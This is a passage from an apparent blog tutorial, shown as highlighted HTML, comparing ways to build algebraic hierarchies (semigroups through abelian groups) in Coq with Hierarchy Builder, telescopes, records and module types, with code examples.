</span><span class="no">From</span><span class="w"> </span><span class="no">Coq</span><span class="w"> </span><span class="k">Require</span><span class="w"> </span><span class="k">Import</span><span class="w"> </span><span class="no">ssreflect</span><span class="pi">.</span><span class="w">

</span><span class="c">(* Semigroup definition *)</span><span class="w">
</span><span class="nn">HB</span><span class="p">.</span><span class="no">mixin</span><span class="w"> </span><span class="k">Record</span><span class="w"> </span><span class="no">IsSemigroup</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">add</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="p">;</span><span class="w">
  </span><span class="no">addrA</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="no">y</span><span class="w"> </span><span class="no">z</span><span class="p">,</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="p">(</span><span class="no">add</span><span class="w"> </span><span class="no">y</span><span class="w"> </span><span class="no">z</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="p">(</span><span class="no">add</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="no">y</span><span class="p">)</span><span class="w"> </span><span class="no">z</span><span class="p">;</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="nn">HB</span><span class="p">.</span><span class="no">structure</span><span class="w"> </span><span class="k">Definition</span><span class="w"> </span><span class="no">Semigroup</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">IsSemigroup</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="c">(* Left associative by default *)</span><span class="w">
</span><span class="k">Infix</span><span class="w"> </span><span class="s2">"+"</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="no">add</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>Next we define monoids.  Similarly to semigroups we use the mixin
command, but now declare the inheritance by <code class="language-plaintext highlighter-rouge">of IsSemigroup A</code>.  That
is, for a type to be a monoid, it must be a semigroup first.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">(* Monoid definition, inheriting from Semigroup *)</span><span class="w">
</span><span class="nn">HB</span><span class="p">.</span><span class="no">mixin</span><span class="w"> </span><span class="k">Record</span><span class="w"> </span><span class="no">IsMonoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">IsSemigroup</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">zero</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="p">;</span><span class="w">
  </span><span class="no">add0r</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">zero</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">x</span><span class="p">;</span><span class="w">
  </span><span class="no">addr0</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="no">zero</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">x</span><span class="p">;</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="nn">HB</span><span class="p">.</span><span class="no">structure</span><span class="w"> </span><span class="k">Definition</span><span class="w"> </span><span class="no">Monoid</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">IsMonoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="k">Notation</span><span class="w"> </span><span class="s2">"0"</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="no">zero</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>Now that we’ve seen two examples, there’s no surprises left on how to
define commutative monoids and groups.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">(* Commutative monoid definition, inheriting from Monoid *)</span><span class="w">
</span><span class="nn">HB</span><span class="p">.</span><span class="no">mixin</span><span class="w"> </span><span class="k">Record</span><span class="w"> </span><span class="no">IsComMonoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">Monoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">addrC</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="p">(</span><span class="no">x</span><span class="w"> </span><span class="no">y</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="p">),</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="no">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">y</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="no">x</span><span class="p">;</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="nn">HB</span><span class="p">.</span><span class="no">structure</span><span class="w"> </span><span class="k">Definition</span><span class="w"> </span><span class="no">ComMonoid</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">IsComMonoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="c">(* Group definition, inheriting from Monoid *)</span><span class="w">
</span><span class="nn">HB</span><span class="p">.</span><span class="no">mixin</span><span class="w"> </span><span class="k">Record</span><span class="w"> </span><span class="no">IsGroup</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">Monoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">opp</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="p">;</span><span class="w">
  </span><span class="no">addNr</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="no">opp</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="nn">HB</span><span class="p">.</span><span class="no">structure</span><span class="w"> </span><span class="k">Definition</span><span class="w"> </span><span class="no">Group</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">IsGroup</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="k">Notation</span><span class="w"> </span><span class="s2">"- x"</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">x</span><span class="p">)</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>Now for the interesting part.  Hierarchy Builder makes it easy for us
to do multiple inheritance and combine the constraints, much like
typeclasses.  Then we can seemlessly prove the lemma exactly as we did
before.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">(* Abelian group definition, inheriting from Group and ComMonoid *)</span><span class="w">
</span><span class="nn">HB</span><span class="p">.</span><span class="no">structure</span><span class="w"> </span><span class="k">Definition</span><span class="w"> </span><span class="no">AbGroup</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">IsGroup</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="err">&amp;</span><span class="w"> </span><span class="no">IsComMonoid</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="c">(* Lemma that holds for Abelian groups *)</span><span class="w">
</span><span class="k">Lemma</span><span class="w"> </span><span class="no">example</span><span class="w"> </span><span class="p">(</span><span class="no">G</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nn">AbGroup</span><span class="p">.</span><span class="no">type</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="no">a</span><span class="w"> </span><span class="no">b</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">G</span><span class="p">)</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="o">-</span><span class="no">b</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="no">b</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="no">a</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">-</span><span class="no">a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="pi">.</span><span class="w">
</span><span class="k">Proof</span><span class="pi">.</span><span class="w"> </span><span class="no">by</span><span class="w"> </span><span class="kp">rewrite</span><span class="w"> </span><span class="no">addrC</span><span class="w"> </span><span class="p">(</span><span class="no">addrA</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">b</span><span class="p">))</span><span class="w"> </span><span class="no">addNr</span><span class="w"> </span><span class="no">add0r</span><span class="w"> </span><span class="no">addNr</span><span class="pi">.</span><span class="w"> </span><span class="k">Qed</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>The underlying code it generates follows a pattern known as <em>packed
classes</em> (elaborated in the next section).  For future-proofing, the
generated code can be shown by prefixing a HB command with
<code class="language-plaintext highlighter-rouge">#[log]</code>.  When the <code class="language-plaintext highlighter-rouge">HB.structure</code> command is invoked, a bunch of
mixins and definitions are created.  For brevity I’m omitted some of
them here.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...
Top_AbGroup__to__Top_Semigroup is defined
Top_AbGroup__to__Top_Monoid is defined
Top_AbGroup__to__Top_Group is defined
Top_AbGroup__to__Top_ComMonoid is defined
join_Top_AbGroup_between_Top_ComMonoid_and_Top_Group is defined
...
</code></pre></div></div>

<p>In more detail, here is the output of <code class="language-plaintext highlighter-rouge">Print
Top_AbGroup__to__Top_ComMonoid.</code>, which shows that it is a coercion
that lets us go from an Abelian group structure to a commutative
monoid structure (i.e. going back up the hierarchy.)  Hierarchy
Builder automatically creates these coercions and joins for us.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">Top_AbGroup__to__Top_ComMonoid</span><span class="w"> </span><span class="o">=</span><span class="w"> 
</span><span class="kr">fun</span><span class="w"> </span><span class="no">s</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nn">AbGroup</span><span class="p">.</span><span class="no">type</span><span class="w"> </span><span class="p">=&gt;</span><span class="w">
</span><span class="p">{|</span><span class="w"> </span><span class="nn">ComMonoid</span><span class="p">.</span><span class="no">sort</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="no">s</span><span class="p">;</span><span class="w"> </span><span class="nn">ComMonoid</span><span class="p">.</span><span class="no">class</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="nn">AbGroup</span><span class="p">.</span><span class="no">class</span><span class="w"> </span><span class="no">s</span><span class="w"> </span><span class="p">|}</span><span class="w">
     </span><span class="p">:</span><span class="w"> </span><span class="nn">AbGroup</span><span class="p">.</span><span class="no">type</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="nn">ComMonoid</span><span class="p">.</span><span class="no">type</span><span class="w">

</span><span class="no">Top_AbGroup__to__Top_ComMonoid</span><span class="w"> </span><span class="no">is</span><span class="w"> </span><span class="no">a</span><span class="w"> </span><span class="no">coercion</span><span class="w">
</span></code></pre></div></div>

<p>It is worth noting that the
<a href="https://github.com/math-comp/math-comp/pull/733">math-comp</a> library
is undergoing a transition to use Hierarchy Builder in the future,
instead of hand-written instances and coercions.</p>

<h2 id="packed-classes--canonical-structures">Packed classes &amp; canonical structures</h2>
<p><strong>Reading:</strong> <a href="https://hal.inria.fr/hal-00816703v2/document">Canonical structures for the working Coq
user</a></p>

<p>In the <a href="https://math-comp.github.io/">math-comp</a> library, the approach
taken is known as the <em>packed classes</em> design pattern.  It’s a fairly
complicated construct that I might elaborate more in a future blog
post, but I’ll give some highlights and a full example.</p>

<p>Note that math-comp is being ported to Hierarchy builder, so this
style is being phased out.</p>

<h2 id="telescopes">Telescopes</h2>

<p>According to the Mathematical Components book,</p>

<blockquote>
  <p>Telescopes suffice for most simple — tree-like and shallow —
hierarchies, so new users do not necessarily need expertise with the
more sophisticated packed class organization covered in the next
section</p>
</blockquote>

<p>Here’s how to define a monoid.  We create a module, postulate a type
<code class="language-plaintext highlighter-rouge">T</code> and an identity element <code class="language-plaintext highlighter-rouge">zero</code> of type <code class="language-plaintext highlighter-rouge">T</code>, and combine the laws
into a record called <code class="language-plaintext highlighter-rouge">law</code>.  The exports section is small here but we
export just the <code class="language-plaintext highlighter-rouge">operator</code> coercion.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Module</span><span class="w"> </span><span class="no">Monoid</span><span class="pi">.</span><span class="w">

</span><span class="k">Section</span><span class="w"> </span><span class="no">Definitions</span><span class="pi">.</span><span class="w">
</span><span class="k">Variables</span><span class="w"> </span><span class="p">(</span><span class="no">T</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="no">zero</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">T</span><span class="p">)</span><span class="pi">.</span><span class="w">

</span><span class="no">Structure</span><span class="w"> </span><span class="no">law</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="no">Law</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">operator</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">T</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">T</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">T</span><span class="p">;</span><span class="w">
  </span><span class="p">_</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">associative</span><span class="w"> </span><span class="no">operator</span><span class="p">;</span><span class="w">
  </span><span class="p">_</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">left_id</span><span class="w"> </span><span class="no">zero</span><span class="w"> </span><span class="no">operator</span><span class="p">;</span><span class="w">
  </span><span class="p">_</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">right_id</span><span class="w"> </span><span class="no">zero</span><span class="w"> </span><span class="no">operator</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="k">Local</span><span class="w"> </span><span class="no">Coercion</span><span class="w"> </span><span class="no">operator</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">law</span><span class="w"> </span><span class="o">&gt;-&gt;</span><span class="w"> </span><span class="no">Funclass</span><span class="pi">.</span><span class="w">

</span><span class="k">End</span><span class="w"> </span><span class="no">Definitions</span><span class="pi">.</span><span class="w">

</span><span class="k">Module</span><span class="w"> </span><span class="k">Import</span><span class="w"> </span><span class="no">Exports</span><span class="pi">.</span><span class="w">

</span><span class="no">Coercion</span><span class="w"> </span><span class="no">operator</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">law</span><span class="w"> </span><span class="o">&gt;-&gt;</span><span class="w"> </span><span class="no">Funclass</span><span class="pi">.</span><span class="w">

</span><span class="k">End</span><span class="w"> </span><span class="no">Exports</span><span class="pi">.</span><span class="w">
</span><span class="k">End</span><span class="w"> </span><span class="no">Monoid</span><span class="pi">.</span><span class="w">

</span><span class="k">Export</span><span class="w"> </span><span class="nn">Monoid</span><span class="p">.</span><span class="no">Exports</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>With that defined, we can instantiate the monoid structure for
booleans (note that <code class="language-plaintext highlighter-rouge">zero</code> is automatically unified with <code class="language-plaintext highlighter-rouge">true</code>).</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Import</span><span class="w"> </span><span class="no">Monoid</span><span class="pi">.</span><span class="w">

</span><span class="k">Lemma</span><span class="w"> </span><span class="no">andbA</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">associative</span><span class="w"> </span><span class="no">andb</span><span class="pi">.</span><span class="w"> </span><span class="k">Proof</span><span class="pi">.</span><span class="w"> </span><span class="no">by</span><span class="w"> </span><span class="no">case</span><span class="pi">.</span><span class="w"> </span><span class="k">Qed</span><span class="pi">.</span><span class="w">
</span><span class="k">Lemma</span><span class="w"> </span><span class="no">andTb</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">left_id</span><span class="w"> </span><span class="no">true</span><span class="w"> </span><span class="no">andb</span><span class="pi">.</span><span class="w"> </span><span class="k">Proof</span><span class="pi">.</span><span class="w"> </span><span class="no">by</span><span class="w"> </span><span class="no">case</span><span class="pi">.</span><span class="w"> </span><span class="k">Qed</span><span class="pi">.</span><span class="w">
</span><span class="k">Lemma</span><span class="w"> </span><span class="no">andbT</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">right_id</span><span class="w"> </span><span class="no">true</span><span class="w"> </span><span class="no">andb</span><span class="pi">.</span><span class="w"> </span><span class="k">Proof</span><span class="pi">.</span><span class="w"> </span><span class="no">by</span><span class="w"> </span><span class="no">case</span><span class="pi">.</span><span class="w"> </span><span class="k">Qed</span><span class="pi">.</span><span class="w">

</span><span class="no">Canonical</span><span class="w"> </span><span class="no">andb_monoid</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="no">Law</span><span class="w"> </span><span class="no">andbA</span><span class="w"> </span><span class="no">andTb</span><span class="w"> </span><span class="no">andbT</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<h2 id="records">Records</h2>
<p>Let’s define a semigroup using one of the most basic features of Coq,
records.  Writing it this way means it is simply just a conjunction of
laws as an <em>n</em>-ary predicate over <em>n</em> components.  We define the
semigroup structure first, then consider monoids as an augmented
semigroup.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Require</span><span class="w"> </span><span class="k">Import</span><span class="w"> </span><span class="no">ssrfun</span><span class="pi">.</span><span class="w">

</span><span class="k">Record</span><span class="w"> </span><span class="no">Semigroup</span><span class="w"> </span><span class="p">{</span><span class="no">A</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="p">}</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="no">makeSemigroup</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">s_add</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="p">;</span><span class="w">
  </span><span class="no">s_addrA</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">associative</span><span class="w"> </span><span class="no">s_add</span><span class="p">;</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">

</span><span class="k">Record</span><span class="w"> </span><span class="no">Monoid</span><span class="w"> </span><span class="p">{</span><span class="no">A</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="p">}</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="no">makeMonoid</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">m_semi</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="o">@</span><span class="no">Semigroup</span><span class="w"> </span><span class="no">A</span><span class="p">;</span><span class="w">
  </span><span class="no">m_zero</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="p">;</span><span class="w">
  </span><span class="no">m_add0r</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="no">s_add</span><span class="w"> </span><span class="no">m_semi</span><span class="p">)</span><span class="w"> </span><span class="no">m_zero</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">x</span><span class="p">;</span><span class="w">
  </span><span class="no">m_addr0</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="no">s_add</span><span class="w"> </span><span class="no">m_semi</span><span class="p">)</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="no">m_zero</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">x</span><span class="p">;</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>Unfortunately we already have to make an awkward choice to do some
sort of indexing to access the underlying shared associative binary
operation.  At the next level when one defines groups as an augmented
monoid, the situation only gets worse:</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Record</span><span class="w"> </span><span class="no">Group</span><span class="w"> </span><span class="p">{</span><span class="no">A</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="p">}</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="w"> </span><span class="p">:=</span><span class="w"> </span><span class="no">makeGroup</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="no">m_monoid</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="o">@</span><span class="no">Monoid</span><span class="w"> </span><span class="no">A</span><span class="p">;</span><span class="w">
  </span><span class="no">g_inv</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="p">;</span><span class="w">
  </span><span class="no">g_addNr</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="no">s_add</span><span class="w"> </span><span class="p">(</span><span class="no">m_semi</span><span class="w"> </span><span class="no">m_monoid</span><span class="p">))</span><span class="w"> </span><span class="p">(</span><span class="no">g_inv</span><span class="w"> </span><span class="no">x</span><span class="p">)</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">m_zero</span><span class="w"> </span><span class="no">m_monoid</span><span class="p">;</span><span class="w">
</span><span class="p">}</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>We have to access the operation through <em>two</em> different indexes for
it!  Perhaps we might want to add a member to the record that is equal
to the inherited operation, but this too is not satisfactory since it
prevents us from creating a <em>canonical name</em> for the operation in
question (for instance, <code class="language-plaintext highlighter-rouge">add</code>), and we’d have to do this at
arbitrarily nested levels.  Thus, while flexible, this approach does
not scale.</p>

<h2 id="modules">Modules</h2>
<p>One approach, seen in <a href="http://adam.chlipala.net/cpdt/">CPDT</a> is to use
the module system to organize the hierarchy.  It seems fine for the
first few structures.  We declare parameterized modules and postulate
additional axioms upon the structure from which it is inheriting from.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Require</span><span class="w"> </span><span class="k">Import</span><span class="w"> </span><span class="no">ssrfun</span><span class="pi">.</span><span class="w">

</span><span class="k">Module</span><span class="w"> </span><span class="k">Type</span><span class="w"> </span><span class="no">SEMIGROUP</span><span class="pi">.</span><span class="w">
  </span><span class="no">Parameter</span><span class="w"> </span><span class="no">A</span><span class="p">:</span><span class="w"> </span><span class="kr">Type</span><span class="pi">.</span><span class="w">
  </span><span class="no">Parameter</span><span class="w"> </span><span class="no">Inline</span><span class="w"> </span><span class="no">add</span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="pi">.</span><span class="w">
  </span><span class="no">Axiom</span><span class="w"> </span><span class="no">addrA</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">associative</span><span class="w"> </span><span class="no">add</span><span class="pi">.</span><span class="w">
</span><span class="k">End</span><span class="w"> </span><span class="no">SEMIGROUP</span><span class="pi">.</span><span class="w">

</span><span class="k">Module</span><span class="w"> </span><span class="k">Type</span><span class="w"> </span><span class="no">MONOID</span><span class="pi">.</span><span class="w">
  </span><span class="k">Include</span><span class="w"> </span><span class="no">SEMIGROUP</span><span class="pi">.</span><span class="w">
  </span><span class="no">Parameter</span><span class="w"> </span><span class="no">zero</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="pi">.</span><span class="w">
  </span><span class="no">Axiom</span><span class="w"> </span><span class="no">add0r</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">left_id</span><span class="w"> </span><span class="no">zero</span><span class="w"> </span><span class="no">add</span><span class="pi">.</span><span class="w">
</span><span class="k">End</span><span class="w"> </span><span class="no">MONOID</span><span class="pi">.</span><span class="w">

</span><span class="k">Module</span><span class="w"> </span><span class="k">Type</span><span class="w"> </span><span class="no">COM_MONOID</span><span class="pi">.</span><span class="w">
  </span><span class="k">Include</span><span class="w"> </span><span class="no">MONOID</span><span class="pi">.</span><span class="w">
  </span><span class="no">Axiom</span><span class="w"> </span><span class="no">addrC</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">commutative</span><span class="w"> </span><span class="no">add</span><span class="pi">.</span><span class="w">
</span><span class="k">End</span><span class="w"> </span><span class="no">COM_MONOID</span><span class="pi">.</span><span class="w">

</span><span class="k">Module</span><span class="w"> </span><span class="k">Type</span><span class="w"> </span><span class="no">GROUP</span><span class="pi">.</span><span class="w">
  </span><span class="k">Include</span><span class="w"> </span><span class="no">MONOID</span><span class="pi">.</span><span class="w">
  </span><span class="no">Parameter</span><span class="w"> </span><span class="no">opp</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="no">A</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="no">A</span><span class="pi">.</span><span class="w">
  </span><span class="no">Axiom</span><span class="w"> </span><span class="no">addNr</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="kr">forall</span><span class="w"> </span><span class="no">x</span><span class="p">,</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="p">(</span><span class="no">opp</span><span class="w"> </span><span class="no">x</span><span class="p">)</span><span class="w"> </span><span class="no">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">zero</span><span class="pi">.</span><span class="w">
</span><span class="k">End</span><span class="w"> </span><span class="no">GROUP</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<p>However, we immediately run into an issue when trying to create a
Abelian group from a commutative monoid and group, this is because the
carrier type <code class="language-plaintext highlighter-rouge">A</code> is already in scope from the first include, so we
cannot share the carrier type (or even the underlying monoid) with
<code class="language-plaintext highlighter-rouge">GROUP</code>.  So we give up.</p>

<div class="language-coq highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Module</span><span class="w"> </span><span class="k">Type</span><span class="w"> </span><span class="no">COM_GROUP</span><span class="pi">.</span><span class="w">
  </span><span class="k">Include</span><span class="w"> </span><span class="no">COM_MONOID</span><span class="pi">.</span><span class="w">
  </span><span class="no">Fail</span><span class="w"> </span><span class="k">Include</span><span class="w"> </span><span class="no">GROUP</span><span class="pi">.</span><span class="w">
</span><span class="k">End</span><span class="w"> </span><span class="no">COM_GROUP</span><span class="pi">.</span><span class="w">
</span></code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The command has indeed failed with message:
The label A is already declared.
</code></pre></div></div>

<h2 id="final-thoughts">Final thoughts</h2>
<p>Just like software engineering, there are many ways to organize
mathematical theories in proof assistants such as Coq.</p>

<p>Personally, I would lean more towards organizing my theories with
Hierarchy Builder—or at the very least, typeclasses, if external
